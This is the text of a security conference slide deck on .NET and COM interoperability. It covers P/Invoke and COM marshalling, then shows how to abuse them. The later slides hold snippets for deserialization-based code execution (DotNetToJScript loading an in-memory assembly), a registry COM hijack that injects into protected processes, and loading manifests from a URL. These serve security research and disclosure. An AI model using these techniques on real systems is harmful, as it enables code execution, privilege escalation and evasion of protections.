the .NET Inter-Operability Operation James Forshaw - @tiraniddo - - PowerPoint PPT Presentation

the net inter operability operation
SMART_READER_LITE
LIVE PREVIEW

the .NET Inter-Operability Operation James Forshaw - @tiraniddo - - PowerPoint PPT Presentation

the .NET Inter-Operability Operation James Forshaw - @tiraniddo Derbycon 7.0 https://openclipart.org/detail/272992/nang-luong-hat-nhan What Im Going to be Talking About .NET Interop Platform Invoke .NET COM COM .NET 2 Agenda


slide-1
SLIDE 1

the .NET Inter-Operability Operation

James Forshaw - @tiraniddo Derbycon 7.0

https://openclipart.org/detail/272992/nang-luong-hat-nhan

slide-2
SLIDE 2

.NET Interop

What I’m Going to be Talking About

Platform Invoke .NET → COM COM → .NET

2

slide-3
SLIDE 3

Agenda

3

  • Talking about some of the inner workings of:

○ P/Invoke ○ COM Interop

  • Abusing .NET → COM
  • Having fun with COM → .NET
slide-4
SLIDE 4

Assumptions!

4

You know what .NET and COM are. You know what the CIL/CLR is. You know what a .NET assembly is.

slide-5
SLIDE 5

The Two Whys

5

Why does .NET Support Interop? + Why do we care?

slide-6
SLIDE 6

Platform Invoke

6

slide-7
SLIDE 7

Defining External Methods

7

C#

[DllImport("app.dll", CharSet = CharSet.Unicode, EntryPoint = "RealName")] static extern bool ExternalMethod(string abc);

CIL

.method private hidebysig static pinvokeimpl("app.dll" as "RealName" unicode winapi) bool ExternalMethod ( string abc ) cil managed preservesig { }

DLL Path to Import From Alternative Name

slide-8
SLIDE 8

DllImportAttribute Isn’t Real

8

// System.Runtime.InteropServices.DllImportAttribute Attribute GetCustomAttribute(RuntimeMethodInfo method) { if ((method.Attributes & MethodAttributes.PinvokeImpl) == MethodAttributes.PrivateScope) { return null; } MetadataImport metadataImport = ModuleHandle.GetMetadataImport( method.Module.ModuleHandle.GetRuntimeModule()); // .. Get data from metadata. return new DllImportAttribute(...); }

PInvoke Method Attribute Import from Metadata Create Psuedo Attribute

slide-9
SLIDE 9

Resolving Library and Function

9

  • Checks for DLL in current directory then passes path to

LoadLibraryEx with no flags

  • If EntryPoint specified use, otherwise use name of defined

function

  • If not found try EntryPointW if requesting Unicode, otherwise

use EntryPointA.

  • If not found, and on x86 and requesting STDCALL then try

_EntryPoint@N

slide-10
SLIDE 10

Default Parameter Marshalling

10

.NET Type Native Type byte, short, int, long unsigned char, short, int, long int bool 1 byte boolean, not BOOL string NUL terminated wchar_t* or char* StringBuilder wchar_t[Capacity] or char[Capacity]

  • bject

Structure marshalling struct Structure marshalling TYPE[] TYPE* array

slide-11
SLIDE 11

Structure Marshaling

11

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] class StructObject { public int Member1; public string Member2; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct StructValue { public int Member1; public string Member2; } ExternalMethod (StructObject s ); ExternalMethod (ref StructValue s); struct Struct { int Member0; const wchar_t* Member1; };

Implicit pass-by-reference Implicit pass-by-value

slide-12
SLIDE 12

Custom Marshaling of Parameters

12

void RealName( BOOL b, IUnknown* pUnk, BSTR pString, SAFEARRAY* pSA ); static extern void ExternalMethod( MarshalAs(UnmanagedType.Bool) bool b, MarshalAs(UnmanagedType.IUnknown) object pUnk, MarshalAs(UnmanagedType.BStr) string pString, MarshalAs(UnmanagedType.SafeArray) byte[] pSA );

slide-13
SLIDE 13

DEMO

13

slide-14
SLIDE 14

.NET → COM

14

slide-15
SLIDE 15

Activation of COM Classes

Reflection:

Type com_type = Type.GetTypeFromProgID("COM.Server.1"); // com_obj is instance of System.__ComObject

  • bject com_obj = Activator.CreateInstance(com_type);

COM Import Definition:

[ComImport] [Guid("7F7B08EC-D7AF-4671-A8C6-3801637C242B")] public class COMServer {} // com_obj is instance of COMServer COMServer com_obj = new COMServer();

15

Specify Class is a COM Import

slide-16
SLIDE 16

Runtime Callable Wrapper (RCW)

16

.NET Client

RCW

COM Server

slide-17
SLIDE 17

Defining COM Interfaces

[ComImport] [Guid("0000010C-0000-0000-C000-000000000046" )] [InterfaceType(ComInterfaceType .InterfaceIsIUnknown )] public interface IPersist { void GetClassID(out Guid clsid); } .class interface public auto ansi abstract import IPersist { .custom instance void GuidAttribute ::.ctor() = () .custom instance void InterfaceTypeAttribute ::.ctor() .method public abstract virtual instance void GetClassID ( [out] valuetype [mscorlib]System.Guid& 'clsid' ) cil managed { } }

17

Can also be IDispatch

  • r Dual Interface

ComImport another Pseudo-Attribute Exposed IID

slide-18
SLIDE 18

QueryInterface in .NET

18

C#:

  • bject com_obj = Activator.CreateInstance(com_type);

IPersist ps = (IPersist)com_obj;

CIL:

castclass [assembly]DotNetInterop.IPersist

Exception:

System.InvalidCastException: Unable to cast COM object of type 'System.__ComObject' to interface type 'IPersist'. This

  • peration failed because the QueryInterface call on the COM

component failed due to the following error: No such interface supported (Exception from HRESULT: 0x80004002 (E_NOINTERFACE)).

slide-19
SLIDE 19

Invoking Methods

19

Through an Interface:

ps.GetClassID(out guid); // C# callvirt instance void [assembly]IPersist::GetClassID( valuetype [mscorlib]System.Guid&) // CIL

IDispatch through Reflection:

Type t = com_obj.GetType(); t.InvokeMember("DispatchFunc", BindingFlags.InvokeMethod, null, obj, new object[0]));

IDispatch through dynamic on .NET 4+:

dynamic d = com_obj; d.DispatchFunc()

slide-20
SLIDE 20

COM → .NET

20

slide-21
SLIDE 21

COM Callable Wrapper (CCW)

21

COM Client CCW .NET Object

IDispatch IUnknown IManagedObject

slide-22
SLIDE 22

COM Visibility Options

22

[ComVisible(true)] class COMObject { public void Method() {} [ComVisible(false)] public void NonVisibleMethod() {} } [assembly: ComVisible(false)]

Visible Method. Non Visible Method. Default is All Com Visible

slide-23
SLIDE 23

Defining COM Class Interfaces

23

[Guid("07AACE06-4515-49D0-8A7B-64FB0A4B29DD")] [ClassInterface(ClassInterfaceType.None)] public class ExplicitInterface : IPersist { } [ClassInterface(ClassInterfaceType.AutoDispatch)] public class AutoDispatch { } [ClassInterface(ClassInterfaceType.AutoDual)] public class AutoDual : IPersist { } public class AutoDispatch2 { } Explicit Interface (IPersist) IDispatch Only IDispatch and Explicit Interface IDispatch Only (default) CLSID

slide-24
SLIDE 24

Registering .NET COM Objects

24

[HKCR\CLSID\{CLSID}\InprocServer32] @="mscoree.dll" "Assembly"=AssemblyName "RuntimeVersion"="v4.0.30319" "Class"=ClassName "ThreadingModel"="Both"

Can be registered in HKCU or HKLM Fully Qualified .NET Class Name Fully Qualified .NET Assembly Name Can also have

  • ptional CodeBase
slide-25
SLIDE 25

Implemented Interfaces

25

slide-26
SLIDE 26

Default COM Parameter Marshalling

26

.NET Type COM Type byte, short, int, long unsigned char, short, int, long int bool VARIANT_BOOL string BSTR

  • bject

VARIANT TYPE[] SAFEARRAY(TYPE)

slide-27
SLIDE 27

IDispatch VARIANT Marshalling

27

Variant Type .NET Type JScript VBScript VT_EMPTY null undefined Empty/Nothing VT_NULL DBNull null Null VT_BSTR string "Hello" "Hello" VT_ARRAY

  • bject[]

Not Allowed Dim array(X) VT_DISPATCH

  • bject

{} Class VT_(INTEGER) int, long, Enum 1 1 VT_BOOL bool true, false True, False VT_VARIANT

  • bject

{} Class

slide-28
SLIDE 28

IDispatch VARIANT Marshalling

28

Variant Type .NET Type JScript VBScript VT_EMPTY null undefined Empty/Nothing VT_NULL DBNull null Null VT_BSTR string "Hello" "Hello" VT_ARRAY

  • bject[]

Not Allowed Dim array(X) VT_DISPATCH

  • bject

{} Class VT_(INTEGER) int, long, Enum 1 1 VT_BOOL bool true, false True, False VT_VARIANT

  • bject

{} Class

slide-29
SLIDE 29

IDispatch VARIANT Marshalling

29

Variant Type .NET Type JScript VBScript VT_EMPTY null undefined Empty/Nothing VT_NULL DBNull null Null VT_BSTR string "Hello" "Hello" VT_ARRAY

  • bject[]

Not Allowed Dim array(X) VT_DISPATCH

  • bject

{} Class VT_(INTEGER) int, long, Enum 1 1 VT_BOOL bool true, false True, False VT_VARIANT

  • bject

{} Class

slide-30
SLIDE 30

.NET COM Inception

30

.NET Client RCW

IDispatch

CCW

.NET Object

slide-31
SLIDE 31

The IManagedObject Interface

31

[uuid("C3FCC19E-A970-11d2-8B5A-00A0C9B7C9C4")] interface IManagedObject : IUnknown { HRESULT GetSerializedBuffer(BSTR *pBSTR); HRESULT GetObjectIdentity(BSTR* pBSTRGUID, int* AppDomainID, CCW_PTR pCCW); }; [MS-IOI]: IManagedObject Interface Protocol https://msdn.microsoft.com/en-us/library/cc233673.aspx

slide-32
SLIDE 32

AppDomain GUID: {XXXX} ID: Y

GetObjectIdentity CCW Mapping

32

.NET Client CCW

.NET Object CCW Table

CCW_PTR

C a l l G e t O b j e c t I d e n t i t y ①

slide-33
SLIDE 33

AppDomain GUID: {XXXX} ID: Y

GetObjectIdentity CCW Mapping

33

.NET Client CCW

.NET Object CCW Table

CCW_PTR

G e t G u i d , I D a n d C C W ②

slide-34
SLIDE 34

AppDomain GUID: {XXXX} ID: Y

GetObjectIdentity CCW Mapping

34

.NET Client CCW

.NET Object CCW Table

CCW_PTR

I f G u i d + I D M a t c h L

  • k

u p C C W ③

slide-35
SLIDE 35

AppDomain GUID: {XXXX} ID: Y

GetObjectIdentity CCW Mapping

35

.NET Client CCW

.NET Object CCW Table

CCW_PTR

Extract Real .NET Object ④

slide-36
SLIDE 36

AppDomain GUID: {ZZZZ} ID: A AppDomain GUID: {XXXX} ID: Y

GetSerializedBuffer Deserialization

36

.NET Client CCW

.NET Object

C a l l G e t S e r i a l i z e d B u f f e r ①

slide-37
SLIDE 37

AppDomain GUID: {ZZZZ} ID: A AppDomain GUID: {XXXX} ID: Y

GetSerializedBuffer Deserialization

37

.NET Client CCW

.NET Object

S e r i a l i z e O b j e c t D a t a ②

BinaryFormatter BinaryFormatter

slide-38
SLIDE 38

AppDomain GUID: {ZZZZ} ID: A AppDomain GUID: {XXXX} ID: Y

GetSerializedBuffer Deserialization

38

.NET Client CCW

.NET Object

D e s e r i a l i z e ③

.NET Object BinaryFormatter

slide-39
SLIDE 39

AppDomain GUID: {ZZZZ} ID: A AppDomain GUID: {XXXX} ID: Y

Default COM Marshaling

39

.NET Client CCW

.NET Object

RCW

COM Proxy COM Stub

slide-40
SLIDE 40

.NET Interface Proxy/Stub

40

Interface Implemented from TypeLib

slide-41
SLIDE 41

Let’s Use These Features

41

slide-42
SLIDE 42

Remote Code Execution (e.g. CVE-2017-0160) Elevation of Privilege (e.g. CVE-2017-7293)

Abusing IManagedObject

42

Untrusted COM Client .NET COM Server Send Serialized Objects .NET COM Client Untrusted COM Server Send Serialized Objects

slide-43
SLIDE 43

Elevation of Privilege

43

Native Client Process .NET Server Process

COM Client .NET COM Server

Call Equals ①

Serializable Object Hash Code Provider

slide-44
SLIDE 44

Elevation of Privilege

44

Native Client Process .NET Server Process

COM Client .NET COM Server Serializable Object

Get Serialized Buffer ②

Hash Code Provider

slide-45
SLIDE 45

Elevation of Privilege

45

Native Client Process .NET Server Process

COM Client .NET COM Server Serializable Object HashTable

Serialize Hashtable and Delegate ③

Hash Code Provider Delegate

slide-46
SLIDE 46

Elevation of Privilege

46

Native Client Process .NET Server Process

COM Client .NET COM Server HashTable Hash Code Provider

CCW

Delegate

Pass Back Delegate ④

COM Proxy

slide-47
SLIDE 47

Elevation of Privilege

47

Native Client Process .NET Server Process

COM Client .NET COM Server

CCW

Delegate

Invoke Delegate ⑤

COM Proxy

slide-48
SLIDE 48

DEMO

48

slide-49
SLIDE 49

Using Registered Class Objects in Scripting Languages

49

slide-50
SLIDE 50

Not Installed?

50

slide-51
SLIDE 51

CORPlus Environment Variables

51

https://github.com/dotnet/coreclr/blob/master/Documentation/project-docs/clr-configuration-knobs.md

slide-52
SLIDE 52

Using COMPlus_Version to Auto Select Version

52

var shell = new ActiveXObject('WScript.Shell'); ver = 'v4.0.30319'; try { shell.RegRead('HKLM\\SOFTWARE\\Microsoft' + '\\.NETFramework\\v4.0.30319\\'); } catch(e) { ver = 'v2.0.50727'; } var env = shell.Environment('Process'); env('COMPLUS_Version') = ver;

slide-53
SLIDE 53

Debugging Call Failures

53

void CallMe(string p0, object p1);

  • bj.CallMe("Hello", undefined);

CallMe("Hello", null);

slide-54
SLIDE 54

Debugging Call Failures

54

void CallMe(string p0, ManagedObject p1);

  • bj.CallMe("Hello", undefined);
slide-55
SLIDE 55

Debugging Call Failures

55

179c.16b0): C++ EH exception - code e06d7363 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. KERNELBASE!RaiseException+0x68: 00007ff8`6e0c9e08 488b8c24c0000000 mov rcx,qword ptr [rsp+0C0h] ss:00000065`fdafc8d0=00006636433d95a4 0:000> k 00 KERNELBASE!RaiseException+0x68 01 MSVCR120_CLR0400!CxxThrowException+0xc3 02 clr!RealCOMPlusThrow+0x128 03 clr!DispParamInterfaceMarshaler::MarshalNativeToManaged+0x5f 04 clr!DispatchMemberInfo::MarshalParamNativeToManaged+0x4f 05 clr!DispatchInfo::InvokeMemberWorker+0x668 06 clr!DispatchInfo::InvokeMemberDebuggerWrapper+0x1c6 07 clr!DispatchInfo::InvokeMember+0x467

slide-56
SLIDE 56

Null VT_DISPATCH Variant

56

void MarshalNativeToManaged( VARIANT *pSrcVar, OBJECTREF *pDestObj) { VARTYPE vt = V_VT(pSrcVar); // Validate the OLE variant type. if (vt != VT_UNKNOWN && vt != VT_DISPATCH) COMPlusThrow(kArgumentException, IDS_EE_INVALID_OLE_VARIANT); // ... }

undefined → VT_EMPTY Need VT_DISPATCH/VT_UNKNOWN Variant with a NULL pointer.

slide-57
SLIDE 57

Find a Helper Class

57

[ComVisible(true)] public class COMObject { public object GetObject() { return null; } public ArrayList GetList() { return null; } }

Returns VT_EMPTY Returns VT_DISPATCH with NULL pointer

slide-58
SLIDE 58

Debugging Call Failures

58

void CallMe(string p0);

  • bj.CallMe("Hello");
slide-59
SLIDE 59

Member Names

  • .NET member names case sensitive and supports parameter

polymorphism

  • COM does not, especially IDispatch
  • Methods and Properties are renamed based on order of

declaration (sort of). E.g

59

void CallMe(string p0, ManagedObject p1); void CallMe(string p0) interface IInterface { HRESULT CallMe(BSTR p0, IDispatch* p1); HRESULT CallMe_2(BSTR p0); }

slide-60
SLIDE 60

Member Names

  • .NET member names case sensitive and supports parameter

polymorphism

  • COM does not, especially IDispatch
  • Methods and Properties are renamed based on order of

declaration (sort of). E.g

60

void CallMe(string p0, ManagedObject p1); void CallMe(string p0) interface IInterface { HRESULT CallMe(BSTR p0, IDispatch* p1); HRESULT CallMe_2(BSTR p0); }

slide-61
SLIDE 61

Member Names

  • .NET member names case sensitive and supports parameter

polymorphism

  • COM does not, especially IDispatch
  • Methods and Properties are renamed based on order of

declaration (sort of). E.g

61

void CallMe(string p0, ManagedObject p1); void CallMe(string p0) interface IInterface { HRESULT CallMe(BSTR p0, IDispatch* p1); HRESULT CallMe_2(BSTR p0); }

slide-62
SLIDE 62

DotNetToJScript

  • Uses BinaryFormatter to deserialize a COM Visible delegate
  • Delegate loads arbitrary assembly from an in-memory array.

62

Delegate BuildLoaderDelegate(byte[] assembly) { Delegate res = Delegate.CreateDelegate( typeof(Func<Assembly>), assembly, typeof(Assembly).GetMethod( "Load", new Type[] { typeof(byte[]) })); return new HeaderHandler(res.DynamicInvoke); }

slide-63
SLIDE 63

Chain of Delegates

63

HeaderHandler Invoke(null) Func<Assembly> DynamicInvoke(null) Assembly Load(byte[] { … }) [ComVisible(true)] delegate object HeaderHandler(Header[] headers);

slide-64
SLIDE 64

Deserialize and Execute Arbitrary Code

64

serialized_obj = "ABAA...="; stm = base64ToStream(serialized_obj); fmt = new ActiveXObject('BinaryFormatter'); del = fmt.Deserialize_2(stm); al = new ActiveXObject('ArrayList'); n = fmt.SurrogateSelector; al.Add(n); asm = del.DynamicInvoke(al.ToArray())

  • = asm.CreateInstance(entry_class);

Convert Base64 to a MemoryStream Deserialize Delegate Build

  • bject[] { null }

Get NULL VT_DISPATCH Load Assembly and Create Instance

slide-65
SLIDE 65

Injecting Code into Protected Processes

65

Windows TCB Windows LSA Anti-Malware None More Secure

slide-66
SLIDE 66

PPL Signing

66

slide-67
SLIDE 67

Clipup PPL + Loads COM Objects

67

slide-68
SLIDE 68

COM Hijack (Because Why Not!)

68

[HKCR\CLSID\{CLSID}\InProcServer32] @="c:\\windows\\system32\\scrobj.dll" "ThreadingModel"="Apartment" [HKCR\CLSID\{CLSID}\ProgID] @="Component" [HKCR\CLSID\{CLSID}\ScriptletURL] @="file:///c:/scriptlet.sct" [HKCR\CLSID\{CLSID}\VersionIndependentProgID] @="Component"

slide-69
SLIDE 69

Exploit Chain

69

Scrobj.dll JScript.dll Scriptlet DotNetToJScript .NET Framework In-Memory Assembly

Microsoft signed “Trusted” Code. Untrusted, but unverified user code.

slide-70
SLIDE 70

DEMO

70

slide-71
SLIDE 71

Unregistered Classes

71

slide-72
SLIDE 72

Activation Context Manifest

72

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity name="System" version="4.0.0.0" publicKeyToken="b77a5c561934e089"/> <clrClass clsid="{CLSID}" progid="System.Net.WebClient" threadingModel="Both" name="System.Net.WebClient" runtimeVersion="v4.0.30319"/> </assembly>

slide-73
SLIDE 73

Activation Context

Use Microsoft.Windows.ActCtx discovered by Casey Smith

73

var ax = new ActiveXObject("Microsoft.Windows.ActCtx"); // From file ax.Manifest = "system.manifest"; // From text string (must be UTF-16 encoded) ax.ManifestText = '<?xml encoding="UTF-16" ...'; // From a URL. ax.ManifestURL = "http://domain.com/system.manifest"; var obj = ax.CreateObject("System.Net.WebClient"); Can also be used to load v4 mscorlib classes

slide-74
SLIDE 74

The Best Class Eva!11!!!

74

var name = "Microsoft.VisualBasic.Devices.Computer"; var comp = ax.CreateObject(name); // Full registry access, without WScript.Shell comp.Registry.CurrentUser.CreateSubKey("ABC"); // Get current text on clipboard comp.Clipboard.GetText(); // Send arbitrary keys to the focused application comp.Keyboard.SendKeys("Hello World!"); // Annoy your neighbours comp.Audio.Play("c:\\whoopwhoop.wav");

slide-75
SLIDE 75

DEMO

75

slide-76
SLIDE 76

References

76

DotNetToJScript - https://github.com/tyranid/DotNetToJScript PPL Bypass https://bugs.chromium.org/p/project-zero/issues/detail?id=1336

slide-77
SLIDE 77

Questions?

77